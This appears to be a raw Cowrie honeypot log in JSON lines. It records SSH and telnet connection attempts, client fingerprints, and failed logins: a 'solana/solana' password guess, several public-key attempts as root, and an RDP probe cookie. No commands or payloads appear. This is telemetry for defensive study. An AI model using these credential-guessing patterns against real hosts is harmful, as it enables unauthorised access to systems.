{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:06.815690Z","src_ip":"103.27.238.120","session":"66d791dd7bc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59948,"dst_ip":"10.17.0.5","dst_port":23,"session":"d61005c6fa48","protocol":"telnet","message":"New connection: 192.119.13.58:59948 (10.17.0.5:23) [session: d61005c6fa48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:11.470171Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34696,"dst_ip":"10.17.0.5","dst_port":23,"session":"ada8565e9d68","protocol":"telnet","message":"New connection: 192.119.13.58:34696 (10.17.0.5:23) [session: ada8565e9d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:12.188835Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64188,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d92b2596fe9","protocol":"ssh","message":"New connection: 152.42.212.128:64188 (10.17.0.5:22) [session: 4d92b2596fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:14.411962Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:14.417415Z","src_ip":"152.42.212.128","session":"4d92b2596fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:14.421240Z","src_ip":"152.42.212.128","session":"4d92b2596fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33748,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9317b5d2e82","protocol":"telnet","message":"New connection: 192.119.13.58:33748 (10.17.0.5:23) [session: b9317b5d2e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:19.139501Z"}
{"eventid":"cowrie.session.closed","duration":0.33669447898864746,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:19.476075Z","src_ip":"192.119.13.58","session":"b9317b5d2e82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38928,"dst_ip":"10.17.0.5","dst_port":23,"session":"f98d17d3910a","protocol":"telnet","message":"New connection: 192.119.13.58:38928 (10.17.0.5:23) [session: f98d17d3910a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:20.371480Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43532,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f5cd4e5a540","protocol":"telnet","message":"New connection: 192.119.13.58:43532 (10.17.0.5:23) [session: 6f5cd4e5a540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:21.388504Z"}
{"eventid":"cowrie.session.closed","duration":38.026522159576416,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:22.476415Z","src_ip":"192.119.13.58","session":"609711817606","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52448,"dst_ip":"10.17.0.5","dst_port":23,"session":"b698ebad7f5c","protocol":"telnet","message":"New connection: 192.119.13.58:52448 (10.17.0.5:23) [session: b698ebad7f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:23.474586Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39532,"dst_ip":"10.17.0.5","dst_port":23,"session":"608ba28731f9","protocol":"telnet","message":"New connection: 192.119.13.58:39532 (10.17.0.5:23) [session: 608ba28731f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:27.422472Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53004,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddc64149d84d","protocol":"telnet","message":"New connection: 192.119.13.58:53004 (10.17.0.5:23) [session: ddc64149d84d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:30.568087Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39272,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a2aa9406123","protocol":"telnet","message":"New connection: 192.119.13.58:39272 (10.17.0.5:23) [session: 2a2aa9406123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:34.169025Z"}
{"eventid":"cowrie.session.closed","duration":36.06431031227112,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:35.495806Z","src_ip":"192.119.13.58","session":"2c7217becb89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49986,"dst_ip":"10.17.0.5","dst_port":23,"session":"e554aff09108","protocol":"telnet","message":"New connection: 192.119.13.58:49986 (10.17.0.5:23) [session: e554aff09108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:36.694402Z"}
{"eventid":"cowrie.session.closed","duration":47.59615635871887,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:40.546002Z","src_ip":"192.119.13.58","session":"b33fb8ba3dce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":34976,"dst_ip":"10.17.0.5","dst_port":22,"session":"535244f72750","protocol":"ssh","message":"New connection: 80.94.92.168:34976 (10.17.0.5:22) [session: 535244f72750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:46.072962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:46.094045Z","src_ip":"80.94.92.168","session":"535244f72750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:46.259412Z","src_ip":"80.94.92.168","session":"535244f72750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:46.641590Z","src_ip":"80.94.92.168","session":"535244f72750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:47.793853Z","src_ip":"80.94.92.168","session":"535244f72750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45264,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24083638ff9","protocol":"telnet","message":"New connection: 192.119.13.58:45264 (10.17.0.5:23) [session: d24083638ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:49.492807Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.174.146","src_port":36524,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d0b3853b131","protocol":"ssh","message":"New connection: 74.48.174.146:36524 (10.17.0.5:22) [session: 7d0b3853b131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:49.903415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:49.907566Z","src_ip":"74.48.174.146","session":"7d0b3853b131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:49.976604Z","src_ip":"74.48.174.146","session":"7d0b3853b131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48136,"dst_ip":"10.17.0.5","dst_port":23,"session":"c26bca43a048","protocol":"telnet","message":"New connection: 192.119.13.58:48136 (10.17.0.5:23) [session: c26bca43a048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:50.279329Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:05:b9:7a:fe:20:a7:f4:ce:a9:ca:a0:70:9d:75:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz72V4y382squ42im/Z9u93so1EKFMbn3mgVkEiULyeC5i1x9/pCZ9gGKLq08ckidG8lXaQVH+hXTyMeYlSgYNpuEmSsEL3kbSGb+UfbmGTE/uTew8xvj48dRHTBs9QLn2RpHau5Yg/QkA95LoxeYtbGd1Xprj5TT167d3eO0kYZMQucJ4+r2DVBrnW82KIsZepwE5jN9/QcOVQLE9wJQ9ceJKdHsm9/4pAeTZ9r9vH2uQjyohMTHWGWf76asro9MBAZPvHSezlEW6WcdLEOHyz4KSdyfKVDPV95YpvVgoeNGHn/kwx/3rJqVGKk14uYsw0NDOGp7ZHODymclSE4V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:05:b9:7a:fe:20:a7:f4:ce:a9:ca:a0:70:9d:75:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:50.295528Z","src_ip":"74.48.174.146","session":"7d0b3853b131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:05:b9:7a:fe:20:a7:f4:ce:a9:ca:a0:70:9d:75:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz72V4y382squ42im/Z9u93so1EKFMbn3mgVkEiULyeC5i1x9/pCZ9gGKLq08ckidG8lXaQVH+hXTyMeYlSgYNpuEmSsEL3kbSGb+UfbmGTE/uTew8xvj48dRHTBs9QLn2RpHau5Yg/QkA95LoxeYtbGd1Xprj5TT167d3eO0kYZMQucJ4+r2DVBrnW82KIsZepwE5jN9/QcOVQLE9wJQ9ceJKdHsm9/4pAeTZ9r9vH2uQjyohMTHWGWf76asro9MBAZPvHSezlEW6WcdLEOHyz4KSdyfKVDPV95YpvVgoeNGHn/kwx/3rJqVGKk14uYsw0NDOGp7ZHODymclSE4V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:50.299355Z","src_ip":"74.48.174.146","session":"7d0b3853b131","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:8d:92:e9:b1:a3:4a:e8:c3:36:2a:0c:6c:51:9f:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsMfjdfBWT6nD+AgR8pzM7xJpu1QHspHUaFfmD0HzSw0SVERLvqcRmR5I3b+AUNc0WYryKRLroHAxBYT/98eQ+LWURAAflP522K0KFLtUyf+8zpedN3TyzEx4mGgplge9CJ6R9WdrI7TZgmiN79WNsPup1G/dQ9H4GXVkJDHX2mvgPYul1PYYEdRLS8qW3rG4we8wRYAPlaBeph16ZWMixMOidzdA7ekcjjUtfgyYx3r5aOfmI4v3kZ+SEZTerPHnnaS6MKRIRhISRPluJz3bRAK1ZsWWx/xLUJs57T7J7ILMZF2lXAIOJiujg3scs9bz6dYt9bLSiiAe+2QwfjL2NfGERwB1sUMpGkPUWHwaU9U1e6f20Rsrr+ulPhMksCtPtEHbacPCwm8MzI1wFd9ejceJjbo4J6s7Le34XO/IEiQTPbXOYjnRDkMApTkcf+EWg7UJQPeo+s2pLWxYH7tDcQfn45OoAaG1MAriqRYVvhonRYWnOr2ZApVBIq3TCnoHFGRkJlP9EE56fxVvXU0NA8gwQK69UcHPFDwMiYqkbpkYEJzsx/2aARs+s/25uFFPsBYP3KAFtkPCct66XzUoI7EvsALhMisA5/kgMi8LnSQQI6WJ6G35XjFBowF/ogTlKVGVLhuRDO2CVsPVy3DZD3O9dwEB78UeMB+Kr5pJWdw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:8d:92:e9:b1:a3:4a:e8:c3:36:2a:0c:6c:51:9f:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:50.367331Z","src_ip":"74.48.174.146","session":"7d0b3853b131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:8d:92:e9:b1:a3:4a:e8:c3:36:2a:0c:6c:51:9f:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsMfjdfBWT6nD+AgR8pzM7xJpu1QHspHUaFfmD0HzSw0SVERLvqcRmR5I3b+AUNc0WYryKRLroHAxBYT/98eQ+LWURAAflP522K0KFLtUyf+8zpedN3TyzEx4mGgplge9CJ6R9WdrI7TZgmiN79WNsPup1G/dQ9H4GXVkJDHX2mvgPYul1PYYEdRLS8qW3rG4we8wRYAPlaBeph16ZWMixMOidzdA7ekcjjUtfgyYx3r5aOfmI4v3kZ+SEZTerPHnnaS6MKRIRhISRPluJz3bRAK1ZsWWx/xLUJs57T7J7ILMZF2lXAIOJiujg3scs9bz6dYt9bLSiiAe+2QwfjL2NfGERwB1sUMpGkPUWHwaU9U1e6f20Rsrr+ulPhMksCtPtEHbacPCwm8MzI1wFd9ejceJjbo4J6s7Le34XO/IEiQTPbXOYjnRDkMApTkcf+EWg7UJQPeo+s2pLWxYH7tDcQfn45OoAaG1MAriqRYVvhonRYWnOr2ZApVBIq3TCnoHFGRkJlP9EE56fxVvXU0NA8gwQK69UcHPFDwMiYqkbpkYEJzsx/2aARs+s/25uFFPsBYP3KAFtkPCct66XzUoI7EvsALhMisA5/kgMi8LnSQQI6WJ6G35XjFBowF/ogTlKVGVLhuRDO2CVsPVy3DZD3O9dwEB78UeMB+Kr5pJWdw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:50.370609Z","src_ip":"74.48.174.146","session":"7d0b3853b131","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:79:8c:cc:7c:54:2d:f2:a7:b5:1c:a1:77:1c:20:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6SE4Fku9lrJFA01h75bj1NfjFKmRuRyBAMHVQjUEQ1DoJ9Jqi+uVf4kngTYCoNzm1g61cAxHsCsgt7vBVb1ZxQTAPQJsys5oGPj2WxiP/95iJ4LzqT35Wua7F/1t/A+g3uj736INVJlQtBnPZgG+o57rqlcaNBwtGZBvZXThjyCFdvd0rnvdIFKl8bGS3myNdi8aAttM1i4ji5CFBskehtIK1exjLP+E3t5lc2ojqLa6j0zcN+Ge52kf8nsp6EtIRfN3JuR3YPwZKxFb7VVNs8yoUs77luveSMovmXokhTfggBA3hixMqxnkRaRzlM4vPFymq2nkZpPA0lii5glN1Tchj8VqKGiOwofunS0a1buEaysSu1tMNu8UisLvN2pN0DkW2t0LX7J7luqXhfiR7vtzYOJXOMedYILSZsc6OHJixSUzfnqII5V3+NFODyPAA6zC1D50hxoxmHhhnu/rUH+IAA5EIaYqkMsP8ZMtqJOWaAjuPDaxvHjzU0Pm2XJ0+zgoz35ZdudRE3EC0srgdx/W0dCQuirVrB0Rbk8GY0oMENdOlOnel+PAtO/aLE+GE2kRcCYM4BHQGnsu59f5S0rOFffAo8VhUhETTTYMK5KrHRtURdaWEXR6Ia85p5EW+C8lbr1mdHUKlhwfIsB3k9jy00iyGFJPOZIVworERVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:79:8c:cc:7c:54:2d:f2:a7:b5:1c:a1:77:1c:20:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:50.440134Z","src_ip":"74.48.174.146","session":"7d0b3853b131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:79:8c:cc:7c:54:2d:f2:a7:b5:1c:a1:77:1c:20:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6SE4Fku9lrJFA01h75bj1NfjFKmRuRyBAMHVQjUEQ1DoJ9Jqi+uVf4kngTYCoNzm1g61cAxHsCsgt7vBVb1ZxQTAPQJsys5oGPj2WxiP/95iJ4LzqT35Wua7F/1t/A+g3uj736INVJlQtBnPZgG+o57rqlcaNBwtGZBvZXThjyCFdvd0rnvdIFKl8bGS3myNdi8aAttM1i4ji5CFBskehtIK1exjLP+E3t5lc2ojqLa6j0zcN+Ge52kf8nsp6EtIRfN3JuR3YPwZKxFb7VVNs8yoUs77luveSMovmXokhTfggBA3hixMqxnkRaRzlM4vPFymq2nkZpPA0lii5glN1Tchj8VqKGiOwofunS0a1buEaysSu1tMNu8UisLvN2pN0DkW2t0LX7J7luqXhfiR7vtzYOJXOMedYILSZsc6OHJixSUzfnqII5V3+NFODyPAA6zC1D50hxoxmHhhnu/rUH+IAA5EIaYqkMsP8ZMtqJOWaAjuPDaxvHjzU0Pm2XJ0+zgoz35ZdudRE3EC0srgdx/W0dCQuirVrB0Rbk8GY0oMENdOlOnel+PAtO/aLE+GE2kRcCYM4BHQGnsu59f5S0rOFffAo8VhUhETTTYMK5KrHRtURdaWEXR6Ia85p5EW+C8lbr1mdHUKlhwfIsB3k9jy00iyGFJPOZIVworERVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:50.444107Z","src_ip":"74.48.174.146","session":"7d0b3853b131","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:b1:49:d6:d9:0a:51:db:3b:44:80:79:ae:bf:02:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkiZ+q7Zv2bNX/BgoVaIrqGa12mK7Kaj9Ib6ZgUQ5iczWathap14yR3OlDuPnPiTjoV3/taYaSEm/jtVgpUQYAM5ROpoacVvC5LQo8JwX5dDe/tkD8h5UrNrZ5JT015ZEysnC0RTYOnnaWOVkcVieqkgjdgiIkydhcHY9aK8NKcktS4b8lG/pNh0PSsda1F5lE3nEwYFOEFifmcDBBFKOUSPJnRqqJN87awTARHI7My/Zo+Bi3Bpp/kBEmCcY5KwyroSihQ5ACRflUDIoScPZNsuI2Fvc4kpMMEsmPkcHlZLHzvg3bYa06xgXoCozkHAFYDvIXX7wRf9HbXXnyy3Vo72JtKRunrE0ddi2uePYa0S8+bkxCMRfbhX/z18fdryz8Qxr7LYODvElqxeI0LBHcjIDcBK729b2pSTiVh932koPziVu+T7dTCPOhZqOG4dJAakTNMzBV9MiCN+uYefUNUz8nD6vRn8SEJ7gHmaoze6NbM8l/ENVfIjb+wvrcuuoEqiXYTtrRcI2eusH4kq5XBWD291mfV7UoZlpLYkoq8yuGwubV7XyQ4/uM9zHX4OO6j+uFTJFtE0sXyWHK8mn/d1guln7XQqIsXeOk3Ej40J20Lt+HTwh35FJtxZB5S0nbzfbC1uxBroCrfF9BJy+XV3If/D8O8mrZ7xET7/WNmw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:b1:49:d6:d9:0a:51:db:3b:44:80:79:ae:bf:02:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:50.513658Z","src_ip":"74.48.174.146","session":"7d0b3853b131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:b1:49:d6:d9:0a:51:db:3b:44:80:79:ae:bf:02:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkiZ+q7Zv2bNX/BgoVaIrqGa12mK7Kaj9Ib6ZgUQ5iczWathap14yR3OlDuPnPiTjoV3/taYaSEm/jtVgpUQYAM5ROpoacVvC5LQo8JwX5dDe/tkD8h5UrNrZ5JT015ZEysnC0RTYOnnaWOVkcVieqkgjdgiIkydhcHY9aK8NKcktS4b8lG/pNh0PSsda1F5lE3nEwYFOEFifmcDBBFKOUSPJnRqqJN87awTARHI7My/Zo+Bi3Bpp/kBEmCcY5KwyroSihQ5ACRflUDIoScPZNsuI2Fvc4kpMMEsmPkcHlZLHzvg3bYa06xgXoCozkHAFYDvIXX7wRf9HbXXnyy3Vo72JtKRunrE0ddi2uePYa0S8+bkxCMRfbhX/z18fdryz8Qxr7LYODvElqxeI0LBHcjIDcBK729b2pSTiVh932koPziVu+T7dTCPOhZqOG4dJAakTNMzBV9MiCN+uYefUNUz8nD6vRn8SEJ7gHmaoze6NbM8l/ENVfIjb+wvrcuuoEqiXYTtrRcI2eusH4kq5XBWD291mfV7UoZlpLYkoq8yuGwubV7XyQ4/uM9zHX4OO6j+uFTJFtE0sXyWHK8mn/d1guln7XQqIsXeOk3Ej40J20Lt+HTwh35FJtxZB5S0nbzfbC1uxBroCrfF9BJy+XV3If/D8O8mrZ7xET7/WNmw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:50.517634Z","src_ip":"74.48.174.146","session":"7d0b3853b131","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:ab:a6:57:fe:fe:cd:d3:22:5a:b6:53:c1:3f:3e:01","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICRo9QK8KF2Jd4GoeQSHBfILeFoz90GjkuAL1XT5yyqr","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint dc:ab:a6:57:fe:fe:cd:d3:22:5a:b6:53:c1:3f:3e:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:50.586254Z","src_ip":"74.48.174.146","session":"7d0b3853b131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:ab:a6:57:fe:fe:cd:d3:22:5a:b6:53:c1:3f:3e:01","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICRo9QK8KF2Jd4GoeQSHBfILeFoz90GjkuAL1XT5yyqr","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:50.590147Z","src_ip":"74.48.174.146","session":"7d0b3853b131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:11:50.658978Z","src_ip":"74.48.174.146","session":"7d0b3853b131","protocol":"ssh"}
